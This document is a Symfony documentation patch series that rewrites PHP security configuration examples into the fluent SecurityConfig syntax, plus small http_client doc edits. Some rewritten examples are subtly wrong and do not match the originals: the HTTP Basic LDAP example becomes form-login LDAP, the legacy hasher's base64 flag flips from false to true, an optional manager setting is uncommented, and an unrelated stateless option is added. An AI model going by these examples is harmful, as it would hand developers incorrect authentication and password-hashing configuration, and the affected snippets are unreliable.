--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -128,19 +128,19 @@ Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'logout' => [
-                        'path' => 'app_logout',
-                        // where to redirect after logout
-                        'target' => 'app_any_route'
-                    ],
-                ],
-            ],
-        ]);
+
+            $security->firewall('main')
+                // ...
+                ->logout()
+                    ->path('app_logout')
+                    // where to redirect after logout
+                    ->target('app_any_route')
+            ;
+        };
 
 **Step 2.** The template has very little to do with security: it generates
 a traditional HTML form that submits to ``/login``:
@@ -347,23 +347,24 @@ a traditional HTML form that submits to ``/login``:
 
         // config/packages/security.php
         use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
 
-        $container->loadFromExtension('security', [
+            $mainFirewall = $security->firewall('main');
             // ...
-            'firewalls' => [
-                'main' => [
-                    // ...,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ]
-                    ],
-                    'logout' => [
-                        'path' => 'app_logout',
-                    ],
-                ],
-            ],
-        ]);
+
+            $mainFirewall
+                ->guard()
+                    ->authenticators([LoginFormAuthenticator::class])
+            ;
+
+            $mainFirewall
+                ->logout()
+                    ->path('app_logout')
+            ;
+        };
 
 Finishing the Login Form
 ------------------------
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7108ba0906e..a945cfb89e6 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -98,20 +98,18 @@ Next, configure your "user provider" to use this new ``apiToken`` property:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'providers' => [
-                'your_db_provider' => [
-                    'entity' => [
-                        'class' => 'App\Entity\User',
-                        'property' => 'apiToken',
-                    ],
-                ],
-            ],
+            $security->provider('your_db_provider')
+                ->entity('App\Entity\User')
+                ->property('apiToken')
+            ;
 
             // ...
-        ]);
+        };
 
 Step 2) Create the Authenticator Class
 --------------------------------------
@@ -292,28 +290,25 @@ Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authe
     .. code-block:: php
 
         // config/packages/security.php
-
-        // ...
         use App\Security\TokenAuthenticator;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main'       => [
-                    'pattern'        => '^/',
-                    'anonymous'      => true,
-                    'lazy'           => true,
-                    'logout'         => true,
-                    'guard'          => [
-                        'authenticators'  => [
-                            TokenAuthenticator::class,
-                        ],
-                    ],
-                    // if you want, disable storing the user in the session
-                    // 'stateless' => true,
-                    // ...
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->pattern('^/')
+                ->lazy(true)
+                ->anonymous();
+
+            $mainFirewall->logout();
+            $mainFirewall
+                ->guard()
+                    ->authenticators([TokenAuthenticator::class])
+            ;
+            // if you want, disable storing the user in the session
+            // $mainFirewall->stateless(true);
+            // ...
+        };
 
 You did it! You now have a fully-working API token authentication system. If your
 homepage required ``ROLE_USER``, then you could test it under different conditions:
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 3c5e421c723..f31474f238c 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -55,16 +55,15 @@ listener:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => true,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+            ;
+        };
 
 To switch to another user, add a query string with the ``_switch_user``
 parameter and the username (or whatever field our user provider uses to load users)
@@ -191,19 +190,17 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'ROLE_ADMIN',
-                        'parameter' => '_want_to_be_this_user',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('ROLE_ADMIN')
+                    ->parameter('_want_to_be_this_user')
+            ;
+        };
 
 Limiting User Switching
 -----------------------
@@ -250,18 +247,16 @@ be called):
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'CAN_SWITCH_USER',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('CAN_SWITCH_USER')
+            ;
+        };
 
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 41107f9f46a..2806f6c9a97 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -44,17 +44,16 @@ First, enable the JSON login under your firewall:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => '/login',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->anonymous();
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+            ;
+        };
 
 .. tip::
 
@@ -200,16 +199,15 @@ The security configuration should be:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => 'login',
-                        'username_path' => 'security.credentials.login',
-                        'password_path' => 'security.credentials.password',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->anonymous();
+            $mainFirewall->lazy(true);
+            $mainFirewall->jsonLogin()
+                ->checkPath('/login')
+                ->usernamePath('security.credentials.login')
+                ->passwordPath('security.credentials.password')
+            ;
+        };
diff --git a/security/ldap.rst b/security/ldap.rst
index 8e6595a9df9..cabda06a72f 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -179,22 +179,21 @@ use the ``ldap`` user provider.
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->provider('ldap_users')
+                ->ldap()
+                    ->service(Ldap::class)
+                    ->baseDn('dc=example,dc=com')
+                    ->searchDn('cn=read-only-admin,dc=example,dc=com')
+                    ->searchPassword('password')
+                    ->defaultRoles(['ROLE_USER'])
+                    ->uidKey('uid')
+                    ->extraFields(['email'])
+            ;
+        };
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'ldap_users' => [
-                    'ldap' => [
-                        'service' => Ldap::class,
-                        'base_dn' => 'dc=example,dc=com',
-                        'search_dn' => 'cn=read-only-admin,dc=example,dc=com',
-                        'search_password' => 'password',
-                        'default_roles' => 'ROLE_USER',
-                        'uid_key' => 'uid',
-                        'extra_fields' => ['email'],
-                    ],
-                ],
-            ],
-        ]);
 
 .. caution::
 
@@ -397,18 +396,15 @@ Configuration example for form login
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                        // ...
-                    ],
-                ],
-            ]
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for HTTP Basic
 ....................................
@@ -454,20 +450,16 @@ Configuration example for HTTP Basic
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                    ],
-                    'stateless' => true,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for form login and query_string
 .....................................................
@@ -518,21 +510,19 @@ Configuration example for form login and query_string
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'dc=example,dc=com',
-                        'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))',
-                        'search_dn' => '...',
-                        'search_password' => 'the-raw-password',
-                    ],
-                ],
-            ]
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('dc=example,dc=com')
+                    ->queryString('(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
+                    ->searchDn('...')
+                    ->searchPassword('the-raw-password')
+            ;
+        };
 
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
diff --git a/security/login_link.rst b/security/login_link.rst
index ed8bb195e15..1e1641304a3 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -67,15 +67,14 @@ under the firewall. You must configure a ``check_route`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+            ;
+        };
 
 The ``signature_properties`` are used to create a signed URL. This must
 contain at least one property of your ``User`` object that uniquely
@@ -373,17 +372,16 @@ seconds). You can customize this using the ``lifetime`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // lifetime in seconds
-                        'lifetime' => 300,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    // lifetime in seconds
+                    ->lifetime(300)
+            ;
+        };
 
 .. _security-login-link-signature:
 
@@ -448,16 +446,15 @@ You can add more properties to the ``hash`` by using the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'signature_properties' => ['id', 'email'],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->signatureProperties(['id', 'email'])
+            ;
+        };
 
 The properties are fetched from the user object using the
 :doc:`PropertyAccess component </components/property_access>` (e.g. using
@@ -521,20 +518,20 @@ cache. Enable this support by setting the ``max_uses`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // only allow the link to be used 3 times
-                        'max_uses' => 3,
-
-                        // optionally, configure the cache pool
-                        //'used_link_cache' => 'cache.redis',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+
+                    // only allow the link to be used 3 times
+                    ->maxUses(3)
+
+                    // optionally, configure the cache pool
+                    //->usedLinkCache('cache.redis')
+            ;
+        };
 
 Make sure there is enough space left in the cache, otherwise invalid links
 can no longer be stored (and thus become valid again). Expired invalid
@@ -594,17 +591,16 @@ the authenticator only handle HTTP POST methods:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'check_post_only' => true,
-                        'max_uses' => 1,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->checkPostOnly(true)
+                    ->maxUses(1)
+            ;
+        };
 
 Then, use the ``check_route`` controller to render a page that lets the
 user create this POST request (e.g. by clicking a button)::
@@ -726,19 +722,17 @@ Then, configure this service ID as the ``success_handler``:
 
         // config/packages/security.php
         use App\Security\Authentication\AuthenticationSuccessHandler;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'lifetime' => 600,
-                        'max_uses' => 1,
-                        'success_handler' => AuthenticationSuccessHandler::class,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->lifetime(600)
+                    ->maxUses(1)
+                    ->successHandler(AuthenticationSuccessHandler::class)
+            ;
+        };
 
 .. tip::
 
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index c52b4cbd1e2..8c4647c49c6 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -63,23 +63,21 @@ This is how your security configuration can look in action:
         // config/packages/security.php
         use App\Security\FacebookConnectAuthenticator;
         use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'entry_point' => LoginFormAuthenticator::class,
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                            FacebookConnectAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+
+            $defaultFirewall = $security->firewall('default');
+            $defaultFirewall->lazy(true);
+            $defaultFirewall->anonymous();
+            $defaultFirewall->guard()
+                ->entryPoint(LoginFormAuthenticator::class)
+                ->authenticators([
+                    LoginFormAuthenticator::class,
+                    FacebookConnectAuthenticator::class,
+                ]);
+        };
 
 There is one limitation with this approach - you have to use exactly one entry point.
 
@@ -151,31 +149,32 @@ the solution is to split the configuration into two separate firewalls:
         // config/packages/security.php
         use App\Security\ApiTokenAuthenticator;
         use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('api')
+                ->pattern('^/api')
+                ->guard()
+                ->authenticators([
+                    ApiTokenAuthenticator::class,
+                ]);
+
+            $defaultFirewall = $security->firewall('default');
+            $defaultFirewall->lazy(true);
+            $defaultFirewall->anonymous();
+            $defaultFirewall->guard()
+                ->authenticators([
+                    LoginFormAuthenticator::class,
+                ]);
+
+            $security->accessControl()
+                ->path('^/login')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $security->accessControl()
+                ->path('^/api')
+                ->roles(['ROLE_API_USER']);
+            $security->accessControl()
+                ->path('^/')
+                ->roles(['ROLE_USER']);
+        };
 
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'api' => [
-                    'pattern' => '^/api',
-                    'guard' => [
-                        'authenticators' => [
-                            ApiTokenAuthenticator::class,
-                        ],
-                    ],
-                ],
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-            'access_control' => [
-                ['path' => '^/login', 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY'],
-                ['path' => '^/api', 'roles' => 'ROLE_API_USER'],
-                ['path' => '^/', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index 200a2174c28..06f31852020 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -44,16 +44,15 @@ to apply to all instances of a specific class:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ],
-            ],
-        ]);
+            $security->passwordHasher(User::class)
+                ->algorithm('auto')
+                ->cost(12)
+            ;
+        };
 
 Another option is to use a "named" hasher and then select which hasher
 you want to use dynamically.
@@ -99,15 +98,15 @@ be done with named hashers:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                'harsh' => [
-                    'algorithm' => 'auto',
-                    'cost'      => '15',
-                ],
-            ],
-        ]);
+            $security->passwordHasher('harsh')
+                ->algorithm('auto')
+                ->cost(15)
+            ;
+        };
 
 .. note::
 
@@ -177,17 +176,15 @@ you must register a service for it in order to use it as a named hasher:
     .. code-block:: php
 
         // config/packages/security.php
-        // ...
         use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                'app_hasher' => [
-                    'id' => MyCustomPasswordHasher::class,
-                ],
-            ],
-        ]);
+            $security->passwordHasher('app_hasher')
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
 
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
diff --git a/security/password_migration.rst b/security/password_migration.rst
index f49e01c887a..6dfcb39cbb2 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -81,26 +81,25 @@ on the new hasher to point to the old, legacy hasher(s):
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'password_hashers' => [
-                'legacy' => [
-                    'algorithm' => 'sha256',
-                    'encode_as_base64' => false,
-                    'iterations' => 1,
-                ],
-
-                'App\Entity\User' => [
-                    // the new hasher, along with its options
-                    'algorithm' => 'sodium',
-                    'migrate_from' => [
-                        'bcrypt', // uses the "bcrypt" hasher with the default options
-                        'legacy', // uses the "legacy" hasher configured above
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('legacy')
+                ->algorithm('sha256')
+                ->encodeAsBase64(true)
+                ->iterations(1)
+            ;
+
+            $security->passwordHasher('App\Entity\User')
+                // the new hasher, along with its options
+                ->algorithm('sodium')
+                ->migrateFrom([
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ])
+            ;
+        };
 
 With this setup:
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 2efbd8af94e..b14b012202f 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -63,24 +63,23 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'remember_me' => [
-                        'secret'   => '%kernel.secret%',
-                        'lifetime' => 604800, // 1 week in seconds
-                        'path'     => '/',
-                        // by default, the feature is enabled by checking a
-                        // checkbox in the login form (see below), uncomment
-                        // the following line to always enable it.
-                        //'always_remember_me' => true,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    ->lifetime(604800) // 1 week in seconds
+                    ->path('/')
+
+                    // by default, the feature is enabled by checking a
+                    // checkbox in the login form (see below), uncomment
+                    // the following line to always enable it.
+                    // ->alwaysRememberMe(true)
+            ;
+        };
 
 The ``remember_me`` firewall defines the following configuration options:
 
@@ -344,16 +343,14 @@ service you created before:
 
         // config/packages/security.php
         use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
                     // ...
-                    'remember_me' => [
-                        // ...
-                        'token_provider' => DoctrineTokenProvider::class,
-                    ],
-                ],
-            ],
-        ]);
+                    ->tokenProvider(DoctrineTokenProvider::class)
+            ;
+        };
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 40ed591cef3..a404a668932 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -110,14 +110,13 @@ is the service id of your user checker:
 
         // config/packages/security.php
         use App\Security\UserChecker;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'pattern' => '^/',
-                    'user_checker' => UserChecker::class,
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('main')
+                ->pattern('^/')
+                ->userChecker(UserChecker::class)
+                // ...
+            ;
+        };
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 3f5a7a5a7dd..f064507045d 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -90,24 +90,22 @@ to retrieve them:
 
         // config/packages/security.php
         use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        // the class of the entity that represents users
-                        'class'    => User::class,
-                        // the property to query by - e.g. username, email, etc
-                        'property' => 'username',
-                        // optional: if you're using multiple Doctrine entity
-                        // managers, this option defines which one to use
-                        // 'manager_name' => 'customer',
-                    ],
-                ],
-            ],
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->provider('users')
+                ->entity()
+                    // the class of the entity that represents users
+                    ->class(User::class)
+                    // the property to query by - e.g. username, email, etc
+                    ->property('username')
+                    // optional: if you're using multiple Doctrine entity
+                    // managers, this option defines which one to use
+                    ->managerName('customer')
+            ;
 
             // ...
-        ]);
+        };
 
 The ``providers`` section creates a "user provider" called ``users`` that knows
 how to query from your ``App\Entity\User`` entity by the ``username`` property.
@@ -195,18 +193,16 @@ To finish this, remove the ``property`` key from the user provider in
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
 
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        'class' => User::class,
-                    ],
-                ],
-            ],
-        ]);
+            $security->provider('users')
+                ->entity()
+                    ->class(User::class)
+            ;
+        };
 
 This tells Symfony to *not* query automatically for the User. Instead, when
 needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
@@ -271,15 +267,15 @@ users will hash their passwords:
         // (the 'InMemoryUser' class was introduced in Symfony 5.3.
         // In previous versions it was called 'User')
         use Symfony\Component\Security\Core\User\InMemoryUser;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                InMemoryUser::class => [
-                    'algorithm' => 'auto',
-                ],
-            ],
-        ]);
+
+            $security->passwordHasher(InMemoryUser::class)
+                ->algorithm('auto')
+            ;
+        };
 
 Then, run this command to hash the plain text passwords of your users:
 
diff --git a/security/voters.rst b/security/voters.rst
index f702277d008..d860886f175 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -333,12 +333,14 @@ security configuration:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'strategy' => 'unanimous',
-                'allow_if_all_abstain' => false,
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategy('unanimous')
+                ->allowIfAllAbstain(false)
+            ;
+        };
 
 Custom Access Decision Strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -378,10 +380,11 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
         // config/packages/security.php
         use App\Security\MyCustomAccessDecisionManager;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'service' => MyCustomAccessDecisionManager::class,
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->service(MyCustomAccessDecisionManager::class)
                 // ...
-            ],
-        ]);
+            ;
+        };

From cff3403316b9691724e439ce8481956eb15ccb52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 May 2021 09:18:32 +0200
Subject: [PATCH 2205/7107] Tweaks

---
 http_client.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 38ed8e7c0b8..69e1d323bc2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -716,10 +716,11 @@ HTTPS Certificates
 ~~~~~~~~~~~~~~~~~~
 
 HttpClient uses the system's certificate store to validate SSL certificates
-(while browsers are using their own stores). If you're using self-signed certificates
-during development, the recommended way is to create your own certificate authority (CA)
-and add it to your system's store.
-Alternatively, you can also disable `verify_host` and `verify_peer` (see
+(while browsers use their own stores). When using self-signed certificates
+during development, it's recommended to create your own certificate authority
+(CA) and add it to your system's store.
+
+Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see
 :ref:`http_client config reference <reference-http-client>`), but this is not
 recommended in production.
 

From 43b5d4a1ebcef819b9d7cf631ea551d440dc30a7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?C=C3=A9dric=20Bertolini?=
 <41571181+wizacedric@users.noreply.github.com>
Date: Tue, 11 May 2021 15:49:11 +0200
Subject: [PATCH 2206/7107] Clarifying how to autowire scoped HTTP clients

The documentation didn't make it very clear that the key of the "scoped_clients" array was the actual service name that could be used to autowire the service. By using the same name in the code example and in the paragraph about autowiring, that should be clearer to the reader.
---
 http_client.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 69e1d323bc2..a502730f1e7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -215,7 +215,7 @@ autoconfigure the HTTP client based on the requested URL:
             http_client:
                 scoped_clients:
                     # only requests matching scope will use these options
-                    github:
+                    github.client:
                         scope: 'https://api\.github\.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -224,7 +224,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     # using base_uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                     # will default to these options
-                    github:
+                    github.client:
                         base_uri: 'https://api.github.com'
                         headers:
                             Accept: 'application/vnd.github.v3+json'
@@ -245,7 +245,7 @@ autoconfigure the HTTP client based on the requested URL:
             <framework:config>
                 <framework:http-client>
                     <!-- only requests matching scope will use these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         scope="https://api\.github\.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -254,7 +254,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     <!-- using base-uri, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                          will default to these options -->
-                    <framework:scoped-client name="github"
+                    <framework:scoped-client name="github.client"
                         base-uri="https://api.github.com"
                     >
                         <framework:header name="Accept">application/vnd.github.v3+json</framework:header>
@@ -271,7 +271,7 @@ autoconfigure the HTTP client based on the requested URL:
             'http_client' => [
                 'scoped_clients' => [
                     // only requests matching scope will use these options
-                    'github' => [
+                    'github.client' => [
                         'scope' => 'https://api\.github\.com',
                         'headers' => [
                             'Accept' => 'application/vnd.github.v3+json',
@@ -282,7 +282,7 @@ autoconfigure the HTTP client based on the requested URL:
 
                     // using base_url, relative URLs (e.g. request("GET", "/repos/symfony/symfony-docs"))
                     // will default to these options
-                    'github' => [
+                    'github.client' => [
                         'base_uri' => 'https://api.github.com',
                         'headers' => [
                             'Accept' => 'application/vnd.github.v3+json',
@@ -329,8 +329,8 @@ Each client has a unique service named after its configuration.
 
